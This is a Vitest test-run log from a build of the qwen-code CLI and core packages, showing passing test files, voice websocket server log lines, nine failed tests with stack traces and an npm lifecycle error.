✓ src/serve/run-qwen-serve.sandbox.test.ts (3 tests) 289ms
✓ src/ui/components/SkillStatsDisplay.test.tsx (2 tests) 2716ms
✓ > renders an empty state when no skills have been called 2098ms
✓ > renders per-skill call counts and outcomes 515ms
✓ src/ui/components/mcp/steps/ServerDetailStep.test.tsx (4 tests) 3574ms
✓ ServerDetailStep — View resources action gating > shows "View resources" when a handler is wired and the server has resources 2835ms
✓ src/config/path-freshness.test.ts (3 tests) 223ms
✓ src/ui/components/SuggestionsDisplay.mouse.test.tsx (3 tests) 2722ms
✓ SuggestionsDisplay mouse wiring > mounts RowMouseController with the scroll offset + callbacks when enabled 2149ms
✓ src/utils/startupWarnings.test.ts (4 tests) 498ms
✓ src/ui/components/DebugModeNotification.test.tsx (2 tests) 1551ms
✓ DebugModeNotification > shows the debug log path when file logging is enabled 1335ms
✓ src/ui/commands/rememberCommand.test.ts (5 tests) 827ms
✓ rememberCommand > routes to managed memory when available 425ms
✓ src/utils/systemInfoFields.test.ts (2 tests) 464ms
✓ getAboutSystemInfoFields > orders sandbox/proxy after session id 325ms
✓ src/runtime/channel-delivery.test.ts (12 tests) 811ms
✓ src/commands/mcp.test.ts (3 tests) 778ms
✓ src/ui/commands/authCommand.test.ts (6 tests) 352ms
✓ src/ui/components/messages/BtwMessage.test.tsx (5 tests) 2848ms
✓ BtwMessage > renders the side question and answer 2200ms
✓ src/commands/review/load-rules.test.ts (6 tests) 200ms
✓ src/commands/extensions/uninstall.test.ts (2 tests) 863ms
✓ extensions uninstall command > should fail if no source is provided 617ms
✓ src/utils/userStartupWarnings.test.ts (3 tests) 1318ms
✓ getUserStartupWarnings > root directory check > should return a warning when running in a root directory 1032ms
✓ src/ui/selection/selection-span.test.ts (6 tests) 294ms
✓ src/commands/sessions.test.ts (3 tests) 595ms
✓ src/config/keyBindings.test.ts (4 tests) 336ms
✓ src/ui/hooks/mcpResourceRef.test.ts (7 tests) 270ms
✓ src/serve/routes/health-demo.test.ts (2 tests) 1595ms
✓ createHealthDemoRoutes /health > returns 503 degraded when a workspace entry is blocked 1386ms
✓ src/serve/acp-http/json-rpc.test.ts (9 tests) 236ms
✓ src/services/prompt-stash.test.ts (4 tests) 889ms
✓ src/core/theme.test.ts (5 tests) 516ms
✓ src/ui/components/WorktreeExitDialog.test.tsx (1 test) 2362ms
✓ WorktreeExitDialog > renders the loading frame before git probes resolve 2277ms
✓ src/ui/components/AutoAcceptIndicator.test.tsx (6 tests) 3016ms
✓ > renders DEFAULT mode with pause badge and Ask permissions text 1877ms
✓ > renders AUTO mode indicator with the active Chinese locale 650ms
✓ src/ui/components/subagents/manage/AgentSelectionStep.test.tsx (1 test) 2900ms
✓ AgentSelectionStep > navigates with Ctrl+N/P readline aliases 2801ms
✓ src/commands/sessions/common.test.ts (3 tests) 272ms
✓ src/ui/hooks/session-mention-ref.test.ts (9 tests) 548ms
✓ src/ui/hooks/useBatchedScroll.test.ts (4 tests) 1104ms
✓ useBatchedScroll > returns the current scrollTop initially when no pending value is set 785ms
✓ src/ui/voice/voice-model.test.ts (4 tests) 216ms
✓ src/ui/utils/theme-background.test.ts (3 tests) 176ms
✓ src/ui/components/mcp/steps/ToolListStep.test.tsx (1 test) 2093ms
✓ ToolListStep > navigates with Ctrl+N/P readline aliases 1999ms
✓ src/test-utils/mockCommandContext.test.ts (3 tests) 456ms
✓ src/serve/server-workspace-service.test.ts (1 test) 1647ms
✓ createServeApp workspace service wiring > forwards batch settings persistence to the workspace service 1553ms
✓ src/serve/channel-selection.test.ts (7 tests) 367ms
✓ src/core/auth.test.ts (3 tests) 328ms
✓ src/ui/commands/statuslineCommand.test.ts (4 tests) 560ms
✓ src/ui/hooks/useReactToolScheduler.test.tsx (2 tests) 254ms
✓ src/ui/contexts/AgentViewContext.test.tsx (2 tests) 1371ms
✓ AgentViewProvider in-process bridges > mounts the team in-process bridge so teammate tabs can register 1152ms
✓ src/ui/selection/selection-coords.test.ts (6 tests) 270ms
✓ src/utils/stdioHelpers.test.ts (4 tests) 444ms
✓ src/commands/channel/channel-registry.test.ts (1 test) 10933ms
✓ channel registry > only marks the manually configurable built-in types as manageable 10850ms
✓ src/ui/commands/helpCommand.test.ts (3 tests) 597ms
✓ helpCommand > should open the help dialog 363ms
✓ src/serve/channel-worker-diagnostics.test.ts (3 tests) 347ms
qwen serve: unhandled error: URIError: unmarked
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/server/error-handlers.test.ts:17:13
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at Route.dispatch (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:117:3)
at handle (/build/qwen-code/src/qwen-code/node_modules/router/index.js:435:11)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at /build/qwen-code/src/qwen-code/node_modules/router/index.js:295:15
at processParams (/build/qwen-code/src/qwen-code/node_modules/router/index.js:582:12)
at next (/build/qwen-code/src/qwen-code/node_modules/router/index.js:291:5)
at router.handle (/build/qwen-code/src/qwen-code/node_modules/router/index.js:186:3)
✓ src/serve/server/error-handlers.test.ts (3 tests) 1970ms
✓ installFinalErrorHandler > returns 500 for an unmarked URIError 1615ms
✓ src/ui/hooks/useThemeCommand.test.ts (1 test) 1093ms
✓ useThemeCommand > restores previous theme on cancel (Esc) 965ms
✓ src/ui/components/mcp/MCPHealthPill.test.tsx (6 tests) 190ms
✓ src/ui/components/LoopDetectionConfirmation.test.tsx (2 tests) 3265ms
✓ LoopDetectionConfirmation > renders correctly 2813ms
✓ LoopDetectionConfirmation > contains the expected options 347ms
✓ src/ui/hooks/use-mouse-tracking-enabled.test.tsx (4 tests) 1082ms
✓ useMouseTrackingEnabled > defaults to true with no SettingsProvider 779ms
✓ src/commands/review/lib/receipt.test.ts (6 tests) 231ms
✓ src/ui/components/views/ToolsList.test.tsx (3 tests) 2766ms
✓ > renders correctly with descriptions 2423ms
✓ src/utils/load-undici.test.ts (3 tests) 452ms
✓ src/ui/voice/voice-availability.test.ts (5 tests) 322ms
✓ src/utils/processUtils.test.ts (4 tests) 315ms
✓ src/ui/components/KeyboardShortcuts.test.tsx (3 tests) 3618ms
✓ KeyboardShortcuts > advertises the darwin image-paste key 2476ms
✓ KeyboardShortcuts > advertises the win32 image-paste key 706ms
✓ KeyboardShortcuts > advertises the linux image-paste key 383ms
✓ src/ui/utils/goal-runtime.test.ts (3 tests) 307ms
✓ src/serve/acp-http/safe-ws-send.test.ts (4 tests) 390ms
✓ src/ui/commands/quitCommand.test.ts (1 test) 701ms
✓ quitCommand > returns a QuitActionReturn object with the correct messages 626ms
✓ src/serve/acp-http/dispatch.sandbox.test.ts (2 tests) 284ms
✓ src/services/command-factory.test.ts (2 tests) 625ms
✓ createSlashCommandFromDefinition > marks custom file commands with stable source detail 466ms
✓ src/services/prompt-processors/argumentProcessor.test.ts (2 tests) 510ms
✓ src/utils/resolvePath.test.ts (7 tests) 236ms
✓ src/ui/utils/workflow-keyword.test.ts (11 tests) 262ms
✓ src/utils/standalone-update-verify.test.ts (3 tests) 374ms
✓ src/ui/utils/latexRenderer.test.ts (4 tests) 368ms
✓ src/ui/utils/tool-display-map.test.ts (2 tests) 194ms
✓ src/serve/capabilities-docs-contract.test.ts (1 test) 328ms
✓ src/ui/components/approvalModeVisuals.test.ts (3 tests) 446ms
✓ src/ui/contexts/VirtualViewportContext.test.tsx (2 tests) 851ms
✓ useVirtualViewport > uses the fallback outside the app provider 678ms
✓ src/ui/components/GeminiRespondingSpinner.test.tsx (2 tests) 1518ms
✓ > uses a low-frequency fixed-width indicator inside tmux 1203ms
✓ src/ui/components/messages/StatusMessages.test.tsx (1 test) 2458ms
✓ InfoMessage > renders a clickable link label when link metadata is provided 2368ms
✓ src/utils/midTurnUserMessage.test.ts (3 tests) 245ms
✓ src/ui/commands/themeCommand.test.ts (2 tests) 486ms
✓ src/ui/utils/CodeColorizer.semantic.test.tsx (1 test) 2364ms
✓ excludes code line numbers from copied text 2284ms
✓ src/ui/components/mcp/MCPManagementDialog.test.tsx (1 test) 2492ms
✓ MCPManagementDialog > uses the same rounded outer border as other dialogs 2390ms
✓ src/ui/commands/settingsCommand.test.ts (2 tests) 426ms
✓ src/acp-integration/runtimeOutputDirContext.test.ts (1 test) 203ms
✓ src/config/shared-env-keys.test.ts (2 tests) 210ms
✓ src/ui/commands/permissionsCommand.test.ts (3 tests) 494ms
✓ src/ui/commands/trustCommand.test.ts (3 tests) 486ms
✓ src/commands/channel/channel-cwd.test.ts (4 tests) 216ms
✓ src/ui/utils/layoutUtils.test.ts (4 tests) 243ms
✓ src/ui/hooks/useDialogClose.test.ts (1 test) 975ms
✓ useDialogClose > Ctrl+C on the skill-review dialog defers it (dismiss, not plain close) 847ms
✓ src/ui/commands/editorCommand.test.ts (2 tests) 478ms
✓ src/ui/commands/deleteCommand.test.ts (2 tests) 445ms
✓ src/ui/components/VoiceIndicator.test.tsx (2 tests) 2291ms
✓ > sanitizes streaming interim transcript text 2083ms
✓ src/ui/components/ExternalAuthProgress.test.tsx (1 test) 2455ms
✓ ExternalAuthProgress > shows cancel hint when cancel is available 2375ms
✓ src/acp-integration/authMethods.test.ts (2 tests) 194ms
✓ src/ui/commands/memoryCommand.test.ts (2 tests) 377ms
✓ src/ui/components/CronPill.test.tsx (2 tests) 2525ms
✓ CronPill > renders nothing when there are no scheduled tasks 1431ms
✓ CronPill > renders the active scheduled task count 970ms
✓ src/serve/acp-http/dispatch-error.test.ts (1 test) 236ms
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket stop received
qwen serve: voice websocket finalized successfully
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket stop received
qwen serve: voice websocket finalized successfully
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket failed: No voice model is configured for this workspace.
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket failed: Voice transcription failed. Please try again.
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket stop received
qwen serve: voice websocket failed: Voice transcription failed. Please try again.
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket abort received
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket abort received
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket stop received
qwen serve: voice websocket abort received
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket stop received
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket failed: Recording is too long for transcription (max ~5 minutes).
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket failed: Queued voice audio exceeded the memory limit.
qwen serve: voice websocket accepted
qwen serve: voice websocket start received
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket slot released
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket slot released
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket slot released
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket slot released
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket slot released
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket slot released
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket slot released
qwen serve: voice websocket failed: Voice session exceeded the time limit.
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket rejected
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket stop received
qwen serve: voice websocket finalized successfully
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket accepted
qwen serve: voice websocket rejected
qwen serve: voice websocket rejected
qwen serve: voice websocket accepted
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket slot released
qwen serve: voice websocket accepted
qwen serve: voice websocket slot released
✓ src/serve/voice/voice-ws.test.ts (23 tests) 1516ms
✓ createVoiceWsConnectionHandler > streams audio to the upstream session and returns the final transcript 495ms
⎯⎯⎯⎯⎯⎯⎯ Failed Tests 9 ⎯⎯⎯⎯⎯⎯⎯
FAIL src/commands/serve.test.ts > serve startup import boundary > reaches listening through the dev entrypoint without loading interactive Ink internals first
Error: serve did not reach listening
stdout:
stderr:
(node:20343) [DEP0205] DeprecationWarning: `module.register()` is deprecated. Use `module.registerHooks()` instead.
(Use `node --trace-deprecation ...` to show where the warning was created)
(node:20357) [DEP0205] DeprecationWarning: `module.register()` is deprecated. Use `module.registerHooks()` instead.
(Use `node --trace-deprecation ...` to show where the warning was created)
qwen serve: daemon log → /tmp/qws-import-boundary-2SvfPh/debug/daemon/daemon.log
❯ Timeout. src/commands/serve.test.ts:573:13
571| void cleanup();
572| reject(
573| new Error(
| ^
574| `serve did not reach listening\nstdout:\n${stdout}\nstde…
575| ),
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/9]⎯
FAIL src/serve/process-env-guard.test.ts > serve process.env guard > allows only documented process-scoped process.env expressions
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/serve/process-env-guard.test.ts:290:3
288| });
289|
290| it('allows only documented process-scoped process.env expressions', …
| ^
291| const actual = new Map>>();
292| for (const root of scannedRoots) {
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[2/9]⎯
FAIL src/serve/server.test.ts > createServeApp > GET /workspace/:id/sessions > reports organized session truncation in the response
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/serve/server.test.ts:12415:5
12413| });
12414|
12415| it('reports organized session truncation in the response', async (…
| ^
12416| const items: SessionListItem[] = Array.from(
12417| { length: 50_001 },
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[3/9]⎯
FAIL src/serve/server.test.ts > createServeApp > POST /workspace/reload > passes validated client identity and refreshes cached serve features
Error: ENOTEMPTY: directory not empty, rmdir '/tmp/qwen-reload-capabilities-RdHAMe'
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[4/9]⎯
FAIL src/commands/channel/memory-intent-classifier.test.ts > BridgeChannelMemoryIntentClassifier > keeps all IDs and a 500-entry long-metadata manifest within the code-point budget
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/commands/channel/memory-intent-classifier.test.ts:334:3
332| });
333|
334| it('keeps all IDs and a 500-entry long-metadata manifest within the …
| ^
335| const { bridge, classifier } = classifierFor(
336| '{"intent":"none","confidence":0}',
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[5/9]⎯
FAIL src/commands/review/script-lint-isolation.test.ts > script-lint — hadolint fails closed when config isolation is unavailable > adds no --config when a private neutral config cannot be created
Error: Test timed out in 30000ms.
If this is a long-running test, pass a timeout value as the last argument or configure it globally with "testTimeout".
❯ src/commands/review/script-lint-isolation.test.ts:55:3
53|
54| describe('script-lint — hadolint fails closed when config isolation is…
55| it('adds no --config when a private neutral config cannot be created…
| ^
56| const { buildToolInvocation } = await import('./script-lint.js');
57| // No private config → no `--config` on the argv (and the run fail…
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[6/9]⎯
FAIL src/ui/components/SessionPreview.test.tsx > SessionPreview > renders all messages after load
AssertionError: expected ' My session\n────────────────────────…' to contain 'PREVIEW-MARKER'
[32m- Expected[39m
[31m+ Received[39m
[32m- PREVIEW-MARKER[39m
[31m+ My session[39m
[31m+ ──────────────────────────────────────────────────────────────────────────[39m
[31m+[39m
[31m+ Loading session preview...[39m
[31m+[39m
[31m+ ──────────────────────────────────────────────────────────────────────────[39m
[31m+ Enter to resume · Esc to back[39m
❯ src/ui/components/SessionPreview.test.tsx:110:19
108| await wait(100);
109| const frame = lastFrame() ?? '';
110| expect(frame).toContain('PREVIEW-MARKER');
| ^
111| expect(frame).toContain('REPLY-MARKER');
112| });
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[7/9]⎯
FAIL src/ui/components/SessionPreview.test.tsx > SessionPreview > renders full resumed thinking content after load
AssertionError: expected ' My session\n────────────────────────…' to contain 'Thinking…'
[32m- Expected[39m
[31m+ Received[39m
[32m- Thinking…[39m
[31m+ My session[39m
[31m+ ──────────────────────────────────────────────────────────────────────────[39m
[31m+[39m
[31m+ Loading session preview...[39m
[31m+[39m
[31m+ ──────────────────────────────────────────────────────────────────────────[39m
[31m+ Enter to resume · Esc to back[39m
❯ src/ui/components/SessionPreview.test.tsx:136:19
134| await wait(100);
135| const frame = lastFrame() ?? '';
136| expect(frame).toContain('Thinking…');
| ^
137| expect(frame).toContain('RESUMED-THINKING-LINE-1');
138| expect(frame).toContain('RESUMED-THINKING-LINE-40');
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[8/9]⎯
FAIL src/ui/components/SessionPreview.test.tsx > SessionPreview > falls back to count from loaded conversation when messageCount prop is absent
AssertionError: expected ' My session\n────────────────────────…' to match /2\s*messages/
[32m- Expected:[39m
/2\s*messages/
[31m+ Received:[39m
" My session
──────────────────────────────────────────────────────────────────────────
Loading session preview...
──────────────────────────────────────────────────────────────────────────
Enter to resume · Esc to back"
❯ src/ui/components/SessionPreview.test.tsx:181:19
179| await wait(100);
180| const frame = lastFrame() ?? '';
181| expect(frame).toMatch(/2\s*messages/);
| ^
182| expect(frame).not.toContain('undefined');
183| });
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[9/9]⎯
⎯⎯⎯⎯⎯⎯ Unhandled Errors ⎯⎯⎯⎯⎯⎯
Vitest caught 2 unhandled errors during the test run.
This might cause false positive tests. Resolve unhandled errors to make sure your tests are not affected.
⎯⎯⎯⎯⎯⎯ Unhandled Error ⎯⎯⎯⎯⎯⎯⎯
Error: [vitest-worker]: Timeout calling "onTaskUpdate"
❯ Object.onTimeoutError ../../node_modules/vitest/dist/chunks/rpc.-pEldfrD.js:53:10
❯ Timeout._onTimeout ../../node_modules/vitest/dist/chunks/index.B521nVV-.js:59:62
❯ listOnTimeout node:internal/timers:685:17
❯ processTimers node:internal/timers:618:7
⎯⎯⎯⎯⎯⎯ Unhandled Error ⎯⎯⎯⎯⎯⎯⎯
Error: [vitest-worker]: Timeout calling "onTaskUpdate"
❯ Object.onTimeoutError ../../node_modules/vitest/dist/chunks/rpc.-pEldfrD.js:53:10
❯ Timeout._onTimeout ../../node_modules/vitest/dist/chunks/index.B521nVV-.js:59:62
❯ listOnTimeout node:internal/timers:685:17
❯ processTimers node:internal/timers:618:7
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
Test Files 6 failed | 397 passed (739)
Tests 9 failed | 9479 passed | 3 skipped (9491)
Errors 2 errors
Start at 22:45:04
Duration 39503.40s (transform 578.23s, setup 1395.94s, collect 9908.50s, tests 2283.21s, environment 3840.35s, prepare 1002.50s)
JUNIT report written to /build/qwen-code/src/qwen-code/packages/cli/junit.xml
npm error Lifecycle script `test` failed with error:
npm error code 1
npm error path /build/qwen-code/src/qwen-code/packages/cli
npm error workspace @qwen-code/qwen-code@0.21.5
npm error location /build/qwen-code/src/qwen-code/packages/cli
npm error command failed
npm error command sh -c vitest run --testTimeout=30000 --no-file-parallelism '--exclude=**/{qwenConnectionHandler,useAtCompletion,pid-descendants,serve/acp-http/transport,i18n/index,ui/auth/AuthDialog,ui/utils/clipboardUtils,services/FileCommandLoader,services/FileCommandLoader-extension,lsp/LspConfigLoader,utils/pathReader}.test.*'
npm notice run @qwen-code/qwen-code-core@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/core
Coverage enabled with v8
✓ src/core/coreToolScheduler.test.ts (356 tests) 22884ms
✓ CoreToolScheduler > restores the invocation context when a delayed confirmation executes 514ms
✓ CoreToolScheduler > isolates enter_plan_mode as a batch boundary and preserves its full reminder 441ms
✓ CoreToolScheduler > preserves cancellation when AUTO classification resolves after abort 477ms
✓ CoreToolScheduler > cleans AUTO fallback state when confirmation preparation is cancelled 308ms
✓ CoreToolScheduler > marks invalid PermissionRequest rewrites as pre-execution span failures 1527ms
✓ CoreToolScheduler Plan shell routing > executes read-only run_shell_command calls without a prompt 1603ms
✓ CoreToolScheduler Plan shell routing > executes read-only monitor calls without a prompt 628ms
✓ src/core/geminiChat.test.ts (300 tests) 112878ms
✓ GeminiChat > sendMessageStream > releases the sleep inhibitor after the stream is consumed 385ms
✓ GeminiChat > sendMessageStream > manual plan-exit notices > restores a claim when setup rolls back the history push 797ms
✓ GeminiChat > sendMessageStream > should fail if the stream ends with an empty part and has no finishReason 384ms
✓ GeminiChat > sendMessageStream > sanitizes a standalone closing thinking tag without retrying valid tool calls 353ms
✓ GeminiChat > sendMessageStream with retries > should recover after four consecutive invalid streams 324ms
✓ GeminiChat > sendMessageStream with retries > should retry 'protocol tag leaks' through the OpenAI pipeline 325ms
✓ GeminiChat > sendMessageStream with retries > should retry 'malformed tool calls' through the OpenAI pipeline 303ms
✓ GeminiChat > sendMessageStream with retries > rolls back the partial assistant turn when a retryable error fires after a tool_use chunk 304ms
✓ GeminiChat > sendMessageStream with retries > uses one exact image route across retries and filters history for the next target 313ms
✓ GeminiChat > sendMessageStream with retries > skips a fallback alias that resolves to the current model 306ms
✓ GeminiChat > sendMessageStream with retries > stops retrying retryable transport stream errors after the retry budget is exhausted 304ms
✓ GeminiChat > sendMessageStream with retries > does not replay a transport stream error after yielding a chunk 332ms
✓ GeminiChat > sendMessageStream with retries > retries a transport stream error after yielding only thinking chunks 331ms
✓ GeminiChat > sendMessageStream with retries > does not replay when visible content followed the thinking chunks 301ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > continues from the delivered text instead of failing the send 325ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > stitches the delivered text into durable history 310ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > drops replayed overlap when the model repeats its own tail 307ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > survives repeated cuts and accumulates every delivered fragment 329ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > drops replayed overlap when an intermediate attempt is cut again 324ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > keeps continuing when a later attempt is cut during thinking 318ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > pins the delivered text after a thought part in the merged turn 336ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > propagates once the continuation budget is exhausted 334ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > replays rather than continues when only a thought was delivered 321ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > replays rather than continues when the delivered text was blank 303ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > drops a pending continuation when a fresh-restart retry takes over 316ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > keeps continuing when a later attempt is cut with nothing yielded 329ms
✓ GeminiChat > sendMessageStream with retries > transport stream continuation (#7832) > drops a pending continuation when reactive compression takes over 326ms
✓ GeminiChat > sendMessageStream with retries > falls back after yielding only tool preparation metadata 541ms
✓ GeminiChat > sendMessageStream with retries > classifies every allow-listed stream transport code as retryable transport 339ms
✓ GeminiChat > sendMessageStream with retries > retries a pre-first-chunk transport error carrying code ECONNRESET 501ms
✓ GeminiChat > sendMessageStream with retries > retries a pre-first-chunk transport error carrying code ETIMEDOUT 313ms
✓ GeminiChat > sendMessageStream with retries > retries a pre-first-chunk transport error carrying code UND_ERR_BODY_TIMEOUT 345ms
✓ GeminiChat > sendMessageStream with retries > retries a pre-first-chunk transport error carrying code UND_ERR_CONNECT_TIMEOUT 318ms
✓ GeminiChat > sendMessageStream with retries > retries a pre-first-chunk transport error carrying code UND_ERR_HEADERS_TIMEOUT 310ms
✓ GeminiChat > sendMessageStream with retries > retries a pre-first-chunk transport error carrying code UND_ERR_SOCKET 330ms
✓ GeminiChat > sendMessageStream with retries > retries a transport error whose code is on the error itself (no cause) 328ms
✓ GeminiChat > sendMessageStream with retries > retries an SDK-wrapped transport error whose code sits at cause depth 2 329ms
✓ GeminiChat > sendMessageStream with retries > does not retry a transport error that carries an HTTP 4xx status 344ms
✓ GeminiChat > sendMessageStream with retries > does not retry a transport code outside the stream allow-list 341ms
✓ GeminiChat > sendMessageStream with retries > surfaces an abort fired during the transport retry delay without retrying again 359ms
✓ GeminiChat > sendMessageStream with retries > rolls back the chat-recording entry too when the retry succeeds 369ms
✓ GeminiChat > sendMessageStream with retries > flushes the chat-recording entry on the unretryable break path (kept partial → durable JSONL) 364ms
✓ GeminiChat > sendMessageStream with retries > should retry on TPM throttling StreamContentError with initial delay 347ms
✓ GeminiChat > sendMessageStream with retries > fast-fails a mid-stream quota-exhaustion error instead of scheduling a rate-limit retry 358ms
✓ GeminiChat > sendMessageStream with retries > should use Retry-After delay for streamed rate-limit errors 354ms
✓ GeminiChat > sendMessageStream with retries > should retry immediately when skipDelay is called during rate-limit wait 346ms
✓ GeminiChat > sendMessageStream with retries > should exit retry loop when aborted during rate-limit delay 358ms
✓ GeminiChat > sendMessageStream with retries > should retry on GLM rate limit StreamContentError with backoff delay 372ms
✓ GeminiChat > sendMessageStream with retries > should use configured delay across repeated streamed rate-limit errors 390ms
✓ GeminiChat > sendMessageStream with retries > uses configured stream rate-limit retry delays 362ms
✓ GeminiChat > sendMessageStream with retries > API error retry behavior > should not retry on 400 Bad Request errors 345ms
✓ GeminiChat > sendMessageStream with retries > API error retry behavior > should retry on 429 Rate Limit errors 324ms
✓ GeminiChat > sendMessageStream with retries > API error retry behavior > should not retry on schema depth errors 331ms
✓ GeminiChat > sendMessageStream with retries > API error retry behavior > should retry on 5xx server errors 328ms
✓ GeminiChat > should correctly retry and append to an existing history mid-conversation 2376ms
✓ GeminiChat > should retry if the model returns a completely empty stream (no chunks) 2353ms
✓ GeminiChat > should queue a subsequent sendMessageStream call until the first stream is fully consumed 350ms
✓ GeminiChat > Model Resolution > should pass the requested model through to generateContentStream 344ms
✓ GeminiChat > should discard valid partial content from a failed attempt upon retry 2394ms
✓ GeminiChat > discards a completed protocol-tagged response and retries before persistence 2371ms
✓ GeminiChat > retries a JSON tool protocol leak: 'array with a different first argument…' 2402ms
✓ GeminiChat > retries a JSON tool protocol leak: 'single object with trailing prose' 2351ms
✓ GeminiChat > preserves an ordinary leading JSON array: [{"name":"example","value":1}] 364ms
✓ GeminiChat > preserves an ordinary leading JSON array: [1,2,3] 343ms
✓ GeminiChat > releases buffered JSON through a finish-only chunk without leaked tags 367ms
✓ GeminiChat > retries when a preparation interrupts a partial JSON protocol leak 2384ms
✓ GeminiChat > retries when a function call interrupts a partial JSON protocol leak 2367ms
✓ GeminiChat > preserves leading JSON when a tool call ends without a finish reason (tool call first: true) 397ms
✓ GeminiChat > preserves leading JSON when a tool call ends without a finish reason (tool call first: false) 350ms
✓ GeminiChat > keeps leading JSON before a later structured tool call (preparation: false) 396ms
✓ GeminiChat > keeps leading JSON before a later structured tool call (preparation: true) 358ms
✓ GeminiChat > does not retry after a structured tool call has already been emitted 386ms
✓ GeminiChat > does not reject normal HTML or protocol tag names in prose 369ms
✓ GeminiChat > does not reject closing protocol tags inside a JSON string 378ms
✓ GeminiChat > retries leaked JSON before a structured tool call 410ms
